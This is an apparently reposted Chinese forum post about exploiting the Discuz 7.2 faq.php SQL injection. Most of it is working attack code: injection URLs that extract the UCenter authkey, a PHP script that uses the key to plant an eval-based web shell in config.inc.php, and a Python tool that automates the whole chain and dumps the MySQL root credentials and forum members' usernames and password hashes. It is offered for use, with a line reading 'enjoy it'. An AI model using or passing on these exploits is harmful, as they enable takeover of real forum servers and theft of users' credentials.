0x01
下午在群里看到的 问下朋友大概 然后用不生不熟的sqlmap在那跑
–
表能跑的出 列就GG了 然后没辙
–
晚上跑各大论坛逛了遍果然大神多
就慢慢的研究下了下 看了pt0n大牛的分析文 真心感叹这洞 呵呵-。-
0x02
获取uc key
exp:
faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,1,62) from cdb_uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23
没完整取值只取了62位
我们再取一次
exp:
faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,63,60) from cdb_uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23
那么获取到的uc key就是
d77978Sbq4b39bVccfK0J9B0K3x792ieH39dNbY8s8l79dB3z63fp2t563rdm6P4
和shell里的对比下
0x03
利用uc key getshell
<?php
$timestamp = time()+10*3600;
$host="bbs.xxxxxx.com";
$uc_key="A1v8Z5Z7feZdmfcd72J5C5V8hc8dM4F6V2g0h5ofXdS6jcm1C78bZede39z51610";
$code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));
$cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">xxx\');eval($_POST[cmd]);//</item>
</root>';
$cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">aaa</item>
</root>';
$html1 = send($cmd1);
echo $html1;
$html2 = send($cmd2);
echo $html2;
function send($cmd){
global $host,$code;
$message = "POST /api/uc.php?code=".$code." HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Referer: ".$host."\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$message .= "Host: ".$host."\r\n";
$message .= "Content-Length: ".strlen($cmd)."\r\n";
$message .= "Connection: Close\r\n\r\n";
$message .= $cmd;
$fp = fsockopen($host, 80);
fputs($fp, $message);
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
?>
修改下
$host=”bbs.xxxxxx.com”;
$uc_key=”xxx”
放在php.exe的环境里直接 getshell
成功会显示
1
1
0
0x04
一句话地址
一句话的地址是http://xxxx.tw/config.inc.php 密码cmd
enjoy it！
转自：http://sb.f4ck.org/thread-19239-1-1.html
————————————————————————————————————————–
ps:上面获取shell的步骤有点麻烦，首先要通过注入语句获取uc_key，然后利用uc_key获取webshell。下面的代码可以自动完成上面步骤来获取webshell。
Python Discuz 7.2 faq.php sql注入漏洞全自动利用工具
exp:
#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf_8 -*-
# author iswin
import sys
import hashlib
import time
import math
import base64
import urllib2
import urllib
import re
def sendRequest(url,para):
try:
data = urllib.urlencode(para)
req=urllib2.Request(url,data)
res=urllib2.urlopen(req,timeout=20).read()
except Exception, e:
print 'Exploit Failed!\n%s'%(e)
exit(0);
return res
def getTablePrefix(url):
print 'Start GetTablePrefix...'
para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select hex(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
res=sendRequest(url,para);
pre=re.findall("Duplicate entry '(.*?)'",res);
if len(pre)==0:
print 'Exploit Failed!'
exit(0);
table_pre=pre[0][:len(pre[0])-1].decode('hex')
table_pre=table_pre[0:table_pre.index('_')]
print 'Table_pre:%s'%(table_pre)
return table_pre
def getCurrentUser(url):
para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
res=sendRequest(url,para)
pre=re.findall("Duplicate entry '(.*?)'",res)
if len(pre)==0:
print 'Exploit Failed!'
exit(0);
table_pre=pre[0][:len(pre[0])-1]
print 'Current User:%s'%(table_pre)
return table_pre
def getUcKey(url):
para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,1,62) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
para1={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,63,2) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
res=sendRequest(url,para);
res1=sendRequest(url,para1);
key1=re.findall("Duplicate entry '(.*?)'",res)
key2=re.findall("Duplicate entry '(.*?)'",res1)
if len(key1)==0:
print 'Get Uc_Key Failed!'
return ''
key=key1[0][:len(key1[0])-1]+key2[0][:len(key2[0])-1]
print 'uc_key:%s'%(key)
return key
def getRootUser(url):
para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(user,0x20,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
res=sendRequest(url,para);
pre=re.findall("Duplicate entry '(.*?)'",res)
if len(pre)==0:
print 'Exploit Failed!'
exit(0);
table_pre=pre[0][:len(pre[0])-1].split(' ')
print 'root info:\nuser:%s password:%s'%(table_pre[0],table_pre[1])
def dumpData(url,table_prefix,count):
para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(username,0x20,password) from %s_members limit %d,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'%(table_prefix,count)}
res=sendRequest(url,para);
datas=re.findall("Duplicate entry '(.*?)'",res)
if len(datas)==0:
print 'Exploit Failed!'
exit(0)
cleandata=datas[0][:len(datas[0])-1]
info=cleandata.split(' ')
print 'user:%s pass:%s'%(info[0],info[1])
def microtime(get_as_float = False) :
if get_as_float:
return time.time()
else:
return '%.8f %d' % math.modf(time.time())
def get_authcode(string, key = ''):
ckey_length = 4
key = hashlib.md5(key).hexdigest()
keya = hashlib.md5(key[0:16]).hexdigest()
keyb = hashlib.md5(key[16:32]).hexdigest()
keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]
cryptkey = keya + hashlib.md5(keya+keyc).hexdigest()
key_length = len(cryptkey)
string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string
string_length = len(string)
result = ''
box = range(0, 256)
rndkey = dict()
for i in range(0,256):
rndkey[i] = ord(cryptkey[i % key_length])
j=0
for i in range(0,256):
j = (j + box[i] + rndkey[i]) % 256
tmp = box[i]
box[i] = box[j]
box[j] = tmp
a=0
j=0
for i in range(0,string_length):
a = (a + 1) % 256
j = (j + box[a]) % 256
tmp = box[a]
box[a] = box[j]
box[j] = tmp
result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
return keyc + base64.b64encode(result).replace('=', '')
def get_shell(url,key,host):
headers={'Accept-Language':'zh-cn',
'Content-Type':'application/x-www-form-urlencoded',
'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',
'Referer':url
}
tm = time.time()+10*3600
tm="time=%d&action=updateapps" %tm
code = urllib.quote(get_authcode(tm,key))
url=url+"?code="+code
data1='''<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://xxx\');eval($_POST[3]);//</item>
</root>'''
try:
req=urllib2.Request(url,data=data1,headers=headers)
ret=urllib2.urlopen(req)
except:
return "Exploit Falied"
data2='''<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://aaa</item>
</root>'''
try:
req=urllib2.Request(url,data=data2,headers=headers)
ret=urllib2.urlopen(req)
except:
return "error"
try:
req=urllib2.Request(host+'/config.inc.php')
res=urllib2.urlopen(req,timeout=20).read()
except Exception, e:
print 'GetWebshell Failed,%s'%(e)
return
print "webshell:"+host+"/config.inc.php,password:3"
if __name__ == '__main__':
print 'DZ7.x Exp Code By iswin'
if len(sys.argv)<3:
print 'DZ7.x Exp Code By iswin\nusage:python dz7.py http://www.iswin.org 10'
exit(0)
url=sys.argv[1]+'/faq.php'
count=int(sys.argv[2])
user=getCurrentUser(url)
if user.startswith('root@'):
getRootUser(url)
uc_key=getUcKey(url)
if len(uc_key)==64:
print 'Start GetWebshell...'
get_shell(sys.argv[1]+'/api/uc.php',uc_key,sys.argv[1])
tb_pre=getTablePrefix(url)
print 'Start DumpData...'
for x in xrange(0,count):
dumpData(url,tb_pre,x)